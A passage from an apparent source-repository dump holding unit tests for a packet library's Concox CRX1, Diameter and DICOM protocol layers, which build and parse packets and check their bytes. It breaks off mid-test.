    "content": "# Concox CRX1 unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('concox')\" -t test/contrib/concox.uts\n\n+ Concox CRX1\n\n= Basic tests\n\nr = raw(CRX1New(default_packet_length=5, default_packet_content=CRX1NewPacketContent()))\nassert r == b'xx\\x05\\x12\\x00\\x00\\x00\\x00\\r\\n'\nc = CRX1New(r)\nassert CRX1NewPacketContent in c\n\nr = raw(CRX1New(start_bit=0x7979, extended_packet_length=5, extended_packet_content=CRX1NewPacketContent()))\nassert r == b'yy\\x00\\x05\\x12\\x00\\x00\\x00\\x00\\r\\n'\nc = CRX1New(r)\nassert CRX1NewPacketContent in c\n\np = CRX1NewPacketContent(b'\\x01\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x02\\x03\\x04\\x05')\nassert p.terminal_id == b'4142434445464748'\n\np = CRX1NewPacketContent(b'\\x12\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x02\\x03\\x04\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04')\nassert p.crc == 0x304 and p.latitude\n"
  },
  {
    "path": "test/contrib/diameter.uts",
    "content": "# UTscapy syntax is explained here: http://www.secdev.org/projects/UTscapy/\n\n# original author: patrick battistello\n\n% Validation of Diameter layer\n\n\n#######################################################################\n+ Different ways of building basic AVPs\n#######################################################################\n\n= AVP identified by full name\na1 = AVP ('High-User-Priority', val=15)\na1.show()\nraw(a1) == b'\\x00\\x00\\x02/@\\x00\\x00\\x0c\\x00\\x00\\x00\\x0f'\n\n= Same AVP identified by the beginning of the name\na1b = AVP ('High-U', val=15)\na1b.show()\nraw(a1b) == raw(a1)\n\n= Same AVP identified by its code\na1c = AVP (559, val=15)\na1c.show()\nraw(a1c) == raw(a1)\n\n= The Session-Id AVP (with some padding added)\na2 = AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587')\na2.show()\nraw(a2) == b'\\x00\\x00\\x01\\x07@\\x00\\x00)aaa.test.orange.fr;1428128;644587\\x00\\x00\\x00'\n\n= An enumerated AVP\na3 = AVP ('Auth-Session-State', val='NO_STATE_MAINTAINED')\na3.show()\nraw(a3) == b'\\x00\\x00\\x01\\x15@\\x00\\x00\\x0c\\x00\\x00\\x00\\x01'\n\n= An address AVP\na4v4 = AVP(\"CG-Address\", val='192.168.0.1')\na4v4.show()\nraw(a4v4) == b'\\x00\\x00\\x03N\\xc0\\x00\\x00\\x12\\x00\\x00(\\xaf\\x00\\x01\\xc0\\xa8\\x00\\x01\\x00\\x00'\n\na4v6 = AVP(\"CG-Address\", val='::1')\na4v6.show()\nraw(a4v6) == b'\\x00\\x00\\x03N\\xc0\\x00\\x00\\x1e\\x00\\x00(\\xaf\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00'\n\na4error = AVP(\"CG-Address\", val=\"unknown\")\na4error.show()\nassert raw(a4error) == raw(AVP(\"CG-Address\"))\n\n= A time AVP\na5 = AVP(\"Expiry-Time\")\na5.show()\nassert not a5.val\n\n= An empty Auth App ID AVP\na6 = AVP(\"Auth-Application-Id\")\na6.show()\nraw(a6) == b'\\x00\\x00\\x01\\x02@\\x00\\x00\\x0c\\x00\\x00\\x00\\x00'\n\n= An ISDN AVP\na7 = AVP(\"MSISDN\", val=\"101\")\na7.show()\nraw(a7) == b'\\x00\\x00\\x02\\xbd\\xc0\\x00\\x00\\x0e\\x00\\x00(\\xaf\\x01\\xf1\\x00\\x00'\n\n= Some OctetString AVPs\na8 = AVP(\"Authorization-Token\", val=\"test\")\na8.show()\nassert raw(a8) == b'\\x00\\x00\\x01\\xfa\\xc0\\x00\\x00\\x10\\x00\\x00(\\xaftest'\n\na8 = AVP(\"Authorization-Token\", val=b\"test\\xc3\\xa9\")\na8.show()\nassert a8.val == b\"test\\xc3\\xa9\"\nassert raw(a8) == b'\\x00\\x00\\x01\\xfa\\xc0\\x00\\x00\\x12\\x00\\x00(\\xaftest\\xc3\\xa9\\x00\\x00'\n\n= Unknown AVP identifier\n\na9 = AVP(\"wrong\")\nassert not a9\n\n\n#######################################################################\n+ AVPs with vendor field\n#######################################################################\n\n= Vendor AVP identified by full name\na4 = AVP ('Feature-List-ID', val=1)\na4.show()\nraw(a4) == b'\\x00\\x00\\x02u\\x80\\x00\\x00\\x10\\x00\\x00(\\xaf\\x00\\x00\\x00\\x01'\n\n= Same AVP identified by its code and vendor ID\n* This time a list is required as first argument \na4c = AVP ( [629, 10415], val=1)\nraw(a4c) == raw(a4)\n\n\n#######################################################################\n+ Altering the AVPs default provided values\n#######################################################################\n\n= Altering the flags of the Origin-Host AVP\na5 = AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr')\na5.show()\nraw(a5) == b'\\x00\\x00\\x01\\x08\\xbb\\x00\\x00\\x1aaaa.test.orange.fr\\x00\\x00'\n\n= Altering the length of the Destination-Realm AVP\na6 = AVP (283, avpLen=33, val='foreign.realm1.fr')\na6.show()\nraw(a6) == b'\\x00\\x00\\x01\\x1b@\\x00\\x00!foreign.realm1.fr\\x00\\x00\\x00'\n\n= Altering the vendor of the Public-Identity AVP, and hence the flags ...\na7 = AVP ( [601, 98765432], val = 'sip:+0123456789@aaa.test.orange.fr')\na7.show()\nraw(a7) == b'\\x00\\x00\\x02Y\\x80\\x00\\x00.\\x05\\xe3\\nxsip:+0123456789@aaa.test.orange.fr\\x00\\x00'\n\n\n#######################################################################\n+ Grouped AVPs\n#######################################################################\n\n= The Supported-Features AVP (with vendor)\na8 = AVP ('Supported-Features')\na8.val.append(a1)\na8.val.append(a5)\na8.show()\nraw(a8) == b'\\x00\\x00\\x02t\\x80\\x00\\x004\\x00\\x00(\\xaf\\x00\\x00\\x02/@\\x00\\x00\\x0c\\x00\\x00\\x00\\x0f\\x00\\x00\\x01\\x08\\xbb\\x00\\x00\\x1aaaa.test.orange.fr\\x00\\x00'\n\n= The same AVP created more simply\na8b = AVP ('Supported-Features', val = [a1, a5])\nraw(a8b) == raw(a8)\n\n= (re)Building the previous AVP from scratch\na8c = AVP ('Supported-Features', val = [\n            AVP ('High-User-Priority', val=15),\n            AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') ])\nraw(a8c) == raw(a8)\n\n= Another (dummy) grouped AVP\na9 = AVP (297, val = [a2, a4, a6])\na9.show()\nraw(a9) == b'\\x00\\x00\\x01)@\\x00\\x00`\\x00\\x00\\x01\\x07@\\x00\\x00)aaa.test.orange.fr;1428128;644587\\x00\\x00\\x00\\x00\\x00\\x02u\\x80\\x00\\x00\\x10\\x00\\x00(\\xaf\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x1b@\\x00\\x00!foreign.realm1.fr\\x00\\x00\\x00'\n\n= A grouped AVP inside another grouped AVP\na10 = AVP ('Server-Cap', val = [a1, a9])\na10.show()\nraw(a10) == b'\\x00\\x00\\x02[\\xc0\\x00\\x00x\\x00\\x00(\\xaf\\x00\\x00\\x02/@\\x00\\x00\\x0c\\x00\\x00\\x00\\x0f\\x00\\x00\\x01)@\\x00\\x00`\\x00\\x00\\x01\\x07@\\x00\\x00)aaa.test.orange.fr;1428128;644587\\x00\\x00\\x00\\x00\\x00\\x02u\\x80\\x00\\x00\\x10\\x00\\x00(\\xaf\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x1b@\\x00\\x00!foreign.realm1.fr\\x00\\x00\\x00'\n\n= A big grouped AVP\na11 = AVP ('SIP-Auth', val = [a2, a4, a8, a10])\na11.show()\nraw(a11) == b'\\x00\\x00\\x01x@\\x00\\x00\\xf0\\x00\\x00\\x01\\x07@\\x00\\x00)aaa.test.orange.fr;1428128;644587\\x00\\x00\\x00\\x00\\x00\\x02u\\x80\\x00\\x00\\x10\\x00\\x00(\\xaf\\x00\\x00\\x00\\x01\\x00\\x00\\x02t\\x80\\x00\\x004\\x00\\x00(\\xaf\\x00\\x00\\x02/@\\x00\\x00\\x0c\\x00\\x00\\x00\\x0f\\x00\\x00\\x01\\x08\\xbb\\x00\\x00\\x1aaaa.test.orange.fr\\x00\\x00\\x00\\x00\\x02[\\xc0\\x00\\x00x\\x00\\x00(\\xaf\\x00\\x00\\x02/@\\x00\\x00\\x0c\\x00\\x00\\x00\\x0f\\x00\\x00\\x01)@\\x00\\x00`\\x00\\x00\\x01\\x07@\\x00\\x00)aaa.test.orange.fr;1428128;644587\\x00\\x00\\x00\\x00\\x00\\x02u\\x80\\x00\\x00\\x10\\x00\\x00(\\xaf\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x1b@\\x00\\x00!foreign.realm1.fr\\x00\\x00\\x00'\n\n= Dissect grouped AVP\n\na12 = DiamG(b'\\x01\\x00\\x00!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xbd\\xc0\\x00\\x00\\r\\x00\\x00(\\xaf\\x01')\nassert isinstance(a12.avpList[0], AVP_10415_701)\nassert \"MSISDN\" in a12.avpList[0].name\n\n#######################################################################\n+ Diameter Requests (without AVPs)\n#######################################################################\n\n= A simple request identified by its name\nr1 = DiamReq ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678)\nr1.show()\nraw(r1) == b'\\x01\\x00\\x00\\x14\\x80\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\xd2\\x00\\x00\\x16.'\n\n= Unknown request by its name\nur = DiamReq ('Unknown')\nraw(ur) == b'\\x01\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= The same one identified by its code\nr1b = DiamReq (257, drHbHId=1234, drEtEId=5678)\nraw(r1b) == raw(r1)\n\n= Unknown request by its code\nur = DiamReq (0)\nraw(ur) == b'\\x01\\x00\\x00\\x14\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= The same one identified by its abbreviation\n* Only the first 2 abbreviation letters are significant (although 3 are provided in this example)\nr1c = DiamReq ('CER', drHbHId=1234, drEtEId=5678)\nraw(r1c) == raw(r1)\n\n= Altering the request default fields\nr2 =  DiamReq ('CER', drHbHId=1234, drEtEId=5678, drFlags=179, drAppId=978, drLen=12)\nr2.show()\nraw(r2) == b'\\x01\\x00\\x00\\x0c\\xb3\\x00\\x01\\x01\\x00\\x00\\x03\\xd2\\x00\\x00\\x04\\xd2\\x00\\x00\\x16.'\n\n= Altering the default request fields with string\nr2b =  DiamReq ('CER', drAppId=\"1\")\nr2b.show()\nraw(r2b) == b'\\x01\\x00\\x00\\x14\\x00\\x00\\x01\\x01\\x01\\x00\\x00$\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= Altering the default request fields with invalid string\nr2be =  DiamReq ('CER', drAppId=\"-1\")\nr2be.show()\nraw(r2be) == b'\\x01\\x00\\x00\\x14\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n\n#######################################################################\n+ Diameter Answers (without AVPs)\n#######################################################################\n\n= A simple answer identified by its name\nans1 = DiamAns ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678)\nans1.show()\nraw(ans1) == b'\\x01\\x00\\x00\\x14\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\xd2\\x00\\x00\\x16.'\n\n= Same answer identified by its code or abbreviation\nans1b = DiamAns (257, drHbHId=1234, drEtEId=5678)\nans1c = DiamAns ('CEA', drHbHId=1234, drEtEId=5678)\na = raw(ans1b) == raw(ans1)\nb = raw(ans1c) == raw(ans1)\na, b\nassert a and b\n\n= Altering the answer default fields\nans2 =  DiamAns ('CEA', drHbHId=1234, drEtEId=5678, drFlags=115, drAppId=1154, drLen=18)\nans2.show()\nraw(ans2) == b'\\x01\\x00\\x00\\x12s\\x00\\x01\\x01\\x00\\x00\\x04\\x82\\x00\\x00\\x04\\xd2\\x00\\x00\\x16.'\n\n\n#######################################################################\n+ Full Diameter messages\n#######################################################################\n\n= A dummy Multimedia-Auth request (identified by only a portion of its name)\nr3 = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, avpList = [a11])\nr3.show()\nraw(r3) == b'\\x01\\x00\\x01\\x04\\xc0\\x00\\x01\\x1e\\x00\\x00\\x00\\x06\\x00\\x00Tx\\x00\\x00\\x124\\x00\\x00\\x01x@\\x00\\x00\\xf0\\x00\\x00\\x01\\x07@\\x00\\x00)aaa.test.orange.fr;1428128;644587\\x00\\x00\\x00\\x00\\x00\\x02u\\x80\\x00\\x00\\x10\\x00\\x00(\\xaf\\x00\\x00\\x00\\x01\\x00\\x00\\x02t\\x80\\x00\\x004\\x00\\x00(\\xaf\\x00\\x00\\x02/@\\x00\\x00\\x0c\\x00\\x00\\x00\\x0f\\x00\\x00\\x01\\x08\\xbb\\x00\\x00\\x1aaaa.test.orange.fr\\x00\\x00\\x00\\x00\\x02[\\xc0\\x00\\x00x\\x00\\x00(\\xaf\\x00\\x00\\x02/@\\x00\\x00\\x0c\\x00\\x00\\x00\\x0f\\x00\\x00\\x01)@\\x00\\x00`\\x00\\x00\\x01\\x07@\\x00\\x00)aaa.test.orange.fr;1428128;644587\\x00\\x00\\x00\\x00\\x00\\x02u\\x80\\x00\\x00\\x10\\x00\\x00(\\xaf\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x1b@\\x00\\x00!foreign.realm1.fr\\x00\\x00\\x00'\n\n\n= The same request built from scratch\nr3b = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234,\n                avpList = [\n                  AVP ('SIP-Auth', val = [\n                        AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'),\n                        AVP ('Feature-List-ID', val=1),\n                        AVP ('Supported-Features', val = [\n                              AVP ('High-User-Priority', val=15),\n                              AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr')\n                              ]),\n                        AVP ('Server-Cap', val = [\n                              AVP ('High-User-Priority', val=15),\n                              AVP (297, val = [\n                                  AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'),\n                                  AVP ('Feature-List-ID', val=1),\n                                  AVP (283, avpLen=33, val='foreign.realm1.fr')\n                                  ])\n                              ])\n                       ])\n                ])\n\nraw(r3b) == raw(r3)\n\n\n#######################################################################\n+ Diameter over SCTP\n#######################################################################\n\n= Diameter decoded from SCTPChunkData via proto_id binding\n\nfrom scapy.layers.sctp import SCTP, SCTPChunkData\n\ndiam_pkt = DiamAns('Capabilities-Exchange', drHbHId=0x1234, drEtEId=0x5678,\n                    avpList=[AVP('Origin-Host', val='host.example.com'),\n                             AVP('Origin-Realm', val='example.com')])\n\npkt = SCTP(raw(SCTP() / SCTPChunkData(proto_id=46, beginning=1, ending=1, data=raw(diam_pkt))))\nchunk = pkt[SCTPChunkData]\nassert isinstance(chunk.data, DiamG)\nassert chunk.proto_id == 46\nassert chunk.data.drHbHId == 0x1234\nassert chunk.data.avpList[0].avpCode == 264\n\n= SCTPChunkData with unknown proto_id keeps raw bytes\n\npkt = SCTP(raw(SCTP() / SCTPChunkData(proto_id=0, data=b\"test\")))\nassert raw(pkt[SCTPChunkData].data) == b\"test\"\n\n= SCTPChunkData fragment is not decoded\n\npkt = SCTP(raw(SCTP() / SCTPChunkData(proto_id=46, beginning=1, ending=0, data=raw(diam_pkt))))\nassert not isinstance(pkt[SCTPChunkData].data, DiamG)\n\n"
  },
  {
    "path": "test/contrib/dicom.uts",
    "content": "% DICOM (Digital Imaging and Communications in Medicine) tests\n\n# Type the following command to launch the tests:\n# $ test/run_tests -P \"load_contrib('dicom')\" -t test/contrib/dicom.uts\n\n############\n############\n+ DICOM module loading\n\n= Import DICOM module\nload_contrib(\"dicom\", globals_dict=globals())\n\n= Verify essential classes are exported\nassert DICOM is not None\nassert A_ASSOCIATE_RQ is not None\nassert A_ASSOCIATE_AC is not None\nassert A_ASSOCIATE_RJ is not None\nassert P_DATA_TF is not None\nassert A_RELEASE_RQ is not None\nassert A_RELEASE_RP is not None\nassert A_ABORT is not None\nassert DICOMVariableItem is not None\nassert DICOMApplicationContext is not None\nassert DICOMPresentationContextRQ is not None\nassert DICOMUserInformation is not None\nassert DICOMMaximumLength is not None\n\n= Verify DIMSE packet classes are exported\nassert C_ECHO_RQ is not None\nassert C_ECHO_RSP is not None\nassert C_STORE_RQ is not None\nassert C_STORE_RSP is not None\nassert C_FIND_RQ is not None\nassert C_FIND_RSP is not None\nassert C_MOVE_RQ is not None\nassert C_MOVE_RSP is not None\nassert C_GET_RQ is not None\nassert C_GET_RSP is not None\n\n= Verify constants are exported\nassert DICOM_PORT == 104\nassert APP_CONTEXT_UID == \"1.2.840.10008.3.1.1.1\"\nassert DEFAULT_TRANSFER_SYNTAX_UID == \"1.2.840.10008.1.2\"\nassert VERIFICATION_SOP_CLASS_UID == \"1.2.840.10008.1.1\"\n\n= Verify Query/Retrieve SOP Class UIDs are exported\nassert PATIENT_ROOT_QR_FIND_SOP_CLASS_UID == \"1.2.840.10008.5.1.4.1.2.1.1\"\nassert PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID == \"1.2.840.10008.5.1.4.1.2.1.2\"\nassert PATIENT_ROOT_QR_GET_SOP_CLASS_UID == \"1.2.840.10008.5.1.4.1.2.1.3\"\nassert STUDY_ROOT_QR_FIND_SOP_CLASS_UID == \"1.2.840.10008.5.1.4.1.2.2.1\"\nassert STUDY_ROOT_QR_MOVE_SOP_CLASS_UID == \"1.2.840.10008.5.1.4.1.2.2.2\"\nassert STUDY_ROOT_QR_GET_SOP_CLASS_UID == \"1.2.840.10008.5.1.4.1.2.2.3\"\n\n############\n############\n+ PDU header tests\n\n= DICOM PDU header construction\npkt = DICOM()\nassert pkt.pdu_type == 0x01\nassert pkt.reserved1 == 0\n\n= DICOM PDU type field values\nimport struct\nfor pdu_type, expected_class in [(0x01, A_ASSOCIATE_RQ), (0x02, A_ASSOCIATE_AC),\n                                  (0x03, A_ASSOCIATE_RJ), (0x04, P_DATA_TF),\n                                  (0x05, A_RELEASE_RQ), (0x06, A_RELEASE_RP),\n                                  (0x07, A_ABORT)]:\n    pkt = DICOM() / expected_class()\n    raw_bytes = bytes(pkt)\n    assert raw_bytes[0] == pdu_type\n\n############\n############\n+ LenField auto-calculation tests\n\n= DICOM header auto-calculates payload length\npkt = DICOM() / A_RELEASE_RQ()\nraw = bytes(pkt)\nlength_field = struct.unpack(\"!I\", raw[2:6])[0]\npayload_size = len(raw) - 6\nassert length_field == payload_size\nassert length_field == 4\n\n= Variable item length auto-calculated\npkt = DICOMVariableItem() / DICOMApplicationContext()\nraw = bytes(pkt)\nlength_field = struct.unpack(\"!H\", raw[2:4])[0]\npayload_size = len(raw) - 4\nassert length_field == payload_size\n\n= Nested items have correct cumulative length\nmax_len = DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=16384)\nuser_info = DICOMVariableItem() / DICOMUserInformation(sub_items=[max_len])\nraw = bytes(user_info)\nassert len(raw) == 12\nui_length = struct.unpack(\"!H\", raw[2:4])[0]\nassert ui_length == 8\n\n############\n############\n+ Variable item bind_layers tests\n\n= Application Context bind_layers (type 0x10)\npkt = DICOMVariableItem() / DICOMApplicationContext()\nassert pkt.item_type == 0x10\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0x10\nassert parsed.haslayer(DICOMApplicationContext)\n\n= Abstract Syntax bind_layers (type 0x30)\nuid = _uid_to_bytes(VERIFICATION_SOP_CLASS_UID)\npkt = DICOMVariableItem() / DICOMAbstractSyntax(uid=uid)\nassert pkt.item_type == 0x30\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0x30\nassert parsed.haslayer(DICOMAbstractSyntax)\nassert parsed[DICOMAbstractSyntax].uid == uid\n\n= Transfer Syntax bind_layers (type 0x40)\npkt = DICOMVariableItem() / DICOMTransferSyntax()\nassert pkt.item_type == 0x40\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0x40\nassert parsed.haslayer(DICOMTransferSyntax)\n\n= Maximum Length bind_layers (type 0x51)\npkt = DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=32768)\nassert pkt.item_type == 0x51\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0x51\nassert parsed.haslayer(DICOMMaximumLength)\nassert parsed[DICOMMaximumLength].max_pdu_length == 32768\n\n= User Information bind_layers (type 0x50)\nmax_len = DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=16384)\npkt = DICOMVariableItem() / DICOMUserInformation(sub_items=[max_len])\nassert pkt.item_type == 0x50\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0x50\nassert parsed.haslayer(DICOMUserInformation)\n\n= Presentation Context RQ bind_layers (type 0x20)\nabs_syn = DICOMVariableItem() / DICOMAbstractSyntax(uid=_uid_to_bytes(VERIFICATION_SOP_CLASS_UID))\nts = DICOMVariableItem() / DICOMTransferSyntax()\npkt = DICOMVariableItem() / DICOMPresentationContextRQ(context_id=1, sub_items=[abs_syn, ts])\nassert pkt.item_type == 0x20\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0x20\nassert parsed.haslayer(DICOMPresentationContextRQ)\nassert parsed[DICOMPresentationContextRQ].context_id == 1\n\n= Presentation Context AC bind_layers (type 0x21)\nts = DICOMVariableItem() / DICOMTransferSyntax()\npkt = DICOMVariableItem() / DICOMPresentationContextAC(context_id=1, result=0, sub_items=[ts])\nassert pkt.item_type == 0x21\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0x21\nassert parsed.haslayer(DICOMPresentationContextAC)\nassert parsed[DICOMPresentationContextAC].result == 0\n\n= Unknown item type uses guess_payload_class fallback\nraw = struct.pack(\"!BBH\", 0xFF, 0, 4) + b\"test\"\nparsed = DICOMVariableItem(raw)\nassert parsed.item_type == 0xFF\nassert parsed.length == 4\nassert parsed.payload is not None\n\n############\n############\n+ A-ASSOCIATE-RQ tests\n\n= Build simple A-ASSOCIATE-RQ\napp_ctx = DICOMVariableItem() / DICOMApplicationContext()\npctx = build_presentation_context_rq(1, VERIFICATION_SOP_CLASS_UID, [DEFAULT_TRANSFER_SYNTAX_UID])\nuser_info = build_user_information(max_pdu_length=16384)\nassoc_rq = DICOM() / A_ASSOCIATE_RQ(\n    called_ae_title=b\"TARGET\",\n    calling_ae_title=b\"SOURCE\",\n    variable_items=[app_ctx, pctx, user_info]\n)\nraw = bytes(assoc_rq)\nparsed = DICOM(raw)\nassert parsed.haslayer(A_ASSOCIATE_RQ)\nitems = parsed[A_ASSOCIATE_RQ].variable_items\nassert len(items) == 3\nassert items[0].item_type == 0x10\nassert items[1].item_type == 0x20\nassert items[2].item_type == 0x50\n\n= A-ASSOCIATE-RQ AE titles are space-padded by DICOMAETitleField\noriginal = DICOM() / A_ASSOCIATE_RQ(\n    called_ae_title=b\"TARGET\",\n    calling_ae_title=b\"SOURCE\",\n)\nserialized = bytes(original)\nparsed = DICOM(serialized)\nassert parsed.haslayer(A_ASSOCIATE_RQ)\nassert parsed[A_ASSOCIATE_RQ].called_ae_title == b\"TARGET          \"\nassert parsed[A_ASSOCIATE_RQ].calling_ae_title == b\"SOURCE          \"\n\n= A-ASSOCIATE-RQ with multiple presentation contexts\napp_ctx = DICOMVariableItem() / DICOMApplicationContext()\npctx1 = build_presentation_context_rq(1, VERIFICATION_SOP_CLASS_UID, [DEFAULT_TRANSFER_SYNTAX_UID])\npctx2 = build_presentation_context_rq(3, CT_IMAGE_STORAGE_SOP_CLASS_UID, [DEFAULT_TRANSFER_SYNTAX_UID])\nuser_info = build_user_information()\nassoc_rq = DICOM() / A_ASSOCIATE_RQ(\n    called_ae_title=b\"TARGET\",\n    calling_ae_title=b\"SOURCE\",\n    variable_items=[app_ctx, pctx1, pctx2, user_info]\n)\nraw = bytes(assoc_rq)\nparsed = DICOM(raw)\nitems = parsed[A_ASSOCIATE_RQ].variable_items\nassert len(items) == 4\npctx_items = [i for i in items if i.item_type == 0x20]\nassert len(pctx_items) == 2\nassert pctx_items[0][DICOMPresentationContextRQ].context_id == 1\nassert pctx_items[1][DICOMPresentationContextRQ].context_id == 3\n\n############\n############\n+ A-ASSOCIATE-RJ tests\n\n= A-ASSOCIATE-RJ construction and parsing\npkt = DICOM() / A_ASSOCIATE_RJ(result=1, source=2, reason_diag=2)\nreparsed = DICOM(bytes(pkt))\nassert reparsed.haslayer(A_ASSOCIATE_RJ)\nassert reparsed[A_ASSOCIATE_RJ].source == 2\n\n############\n############\n+ A-RELEASE tests\n\n= A-RELEASE-RQ round-trip\noriginal = DICOM() / A_RELEASE_RQ()\nserialized = bytes(original)\nparsed = DICOM(serialized)\nassert parsed.haslayer(A_RELEASE_RQ)\n\n= A-RELEASE-RP round-trip\noriginal = DICOM() / A_RELEASE_RP()\nserialized = bytes(original)\nparsed = DICOM(serialized)\nassert parsed.haslayer(A_RELEASE_RP)\n\n############\n############\n+ A-ABORT tests\n\n= A-ABORT round-trip\noriginal = DICOM() / A_ABORT(source=2, reason_diag=6)\nserialized = bytes(original)\nparsed = DICOM(serialized)\nassert parsed.haslayer(A_ABORT)\nassert parsed[A_ABORT].source == 2\nassert parsed[A_ABORT].reason_diag == 6\n\n############\n############\n+ P-DATA-TF tests\n\n= PresentationDataValueItem length linked to data\ntest_data = b\"TEST_DATA_12345\"\npdv = PresentationDataValueItem(context_id=1, data=test_data, is_command=1, is_last=1)\nraw = bytes(pdv)\nlength = struct.unpack(\"!I\", raw[:4])[0]\nassert length == len(test_data) + 2\n\n= P-DATA-TF with multiple PDV items - build only\npdv1 = PresentationDataValueItem(context_id=1, data=b'\\xDE\\xAD', is_command=1, is_last=0)\npdv2 = PresentationDataValueItem(context_id=1, data=b'\\xBE\\xEF', is_command=0, is_last=1)\npkt = DICOM() / P_DATA_TF(pdv_items=[pdv1, pdv2])\nraw = bytes(pkt)\nassert raw[0] == 0x04\nassert len(raw) > 6\n\n= P-DATA-TF round-trip - build and verify structure\ntest_data = b\"\\x01\\x02\\x03\\x04\\x05\"\npdv = PresentationDataValueItem(context_id=3, data=test_data, is_command=1, is_last=1)\noriginal = DICOM() / P_DATA_TF(pdv_items=[pdv])\nserialized = bytes(original)\nassert serialized[0] == 0x04\nlength = struct.unpack(\"!I\", serialized[2:6])[0]\nassert length > 0\nassert test_data in serialized\n\n= PDV is_command flag encoding\npdv = PresentationDataValueItem(context_id=1, data=b'x', is_command=1, is_last=0)\nraw = bytes(pdv)\nmsg_ctrl = raw[5]\nassert msg_ctrl & 0x01 == 1\nassert msg_ctrl & 0x02 == 0\n\n= PDV is_last flag encoding\npdv = PresentationDataValueItem(context_id=1, data=b'x', is_command=0, is_last=1)\nraw = bytes(pdv)\nmsg_ctrl = raw[5]\nassert msg_ctrl & 0x01 == 0\nassert msg_ctrl & 0x02 == 2\n\n= PDV both flags set\npdv = PresentationDataValueItem(context_id=1, data=b'x', is_command=1, is_last=1)\nraw = bytes(pdv)\nmsg_ctrl = raw[5]\nassert msg_ctrl == 0x03\n\n= PDV flags encoding verification\nfor is_cmd in [0, 1]:\n    for is_last in [0, 1]:\n        pdv = PresentationDataValueItem(context_id=1, data=b'test', is_command=is_cmd, is_last=is_last)\n        raw = bytes(pdv)\n        msg_ctrl = raw[5]\n        assert (msg_ctrl & 0x01) == is_cmd\n        assert (msg_ctrl & 0x02) == (is_last << 1)\n\n############\n############\n+ DIMSE packet tests\n\n= C_ECHO_RQ creation with defaults\npkt = C_ECHO_RQ()\nraw = bytes(pkt)\nassert raw[:4] == b'\\x00\\x00\\x00\\x00'\nassert b'1.2.840.10008.1.1' in raw\n\n= C_ECHO_RQ custom message_id\npkt = C_ECHO_RQ(message_id=12345)\nraw = bytes(pkt)\nassert b'\\x10\\x01' in raw\nassert struct.pack(\"<H\", 12345) in raw\n\n= C_ECHO_RSP creation\npkt = C_ECHO_RSP(message_id_responded=42, status=0x0000)\nraw = bytes(pkt)\nassert struct.pack(\"<H\", 0x8030) in raw\nassert b'\\x00\\x09' in raw\n\n= C_STORE_RQ creation\npkt = C_STORE_RQ(\n    affected_sop_class_uid=CT_IMAGE_STORAGE_SOP_CLASS_UID,\n    affected_sop_instance_uid=\"1.2.3.4.5.6.7.8.9\",\n    message_id=100,\n)\nraw = bytes(pkt)\nassert b'1.2.840.10008.5.1.4.1.1.2' in raw\nassert b'1.2.3.4.5.6.7.8.9' in raw\nassert struct.pack(\"<H\", 0x0001) in raw\n\n= C_FIND_RQ creation\npkt = C_FIND_RQ(message_id=55)\nraw = bytes(pkt)\nassert struct.pack(\"<H\", 0x0020) in raw\n\n= C_FIND_RSP creation\npkt = C_FIND_RSP(message_id_responded=55, status=0x0000)\nraw = bytes(pkt)\nassert struct.pack(\"<H\", 0x8020) in raw\nassert struct.pack(\"<H\", 0x0000) in raw\n\n= C_MOVE_RQ creation with move_destination\npkt = C_MOVE_RQ(message_id=100, move_destination=b\"DEST_AE\")\nraw = bytes(pkt)\nassert struct.pack(\"<H\", 0x0021) in raw\nassert b'DEST_AE' in raw\n\n= C_MOVE_RSP creation with sub-operation counters\npkt = C_MOVE_RSP(\n    message_id_responded=100,\n    status=0xFF00,\n    num_remaining=5,\n    num_completed=3,\n    num_failed=1,\n    num_warning=0\n)\nraw = 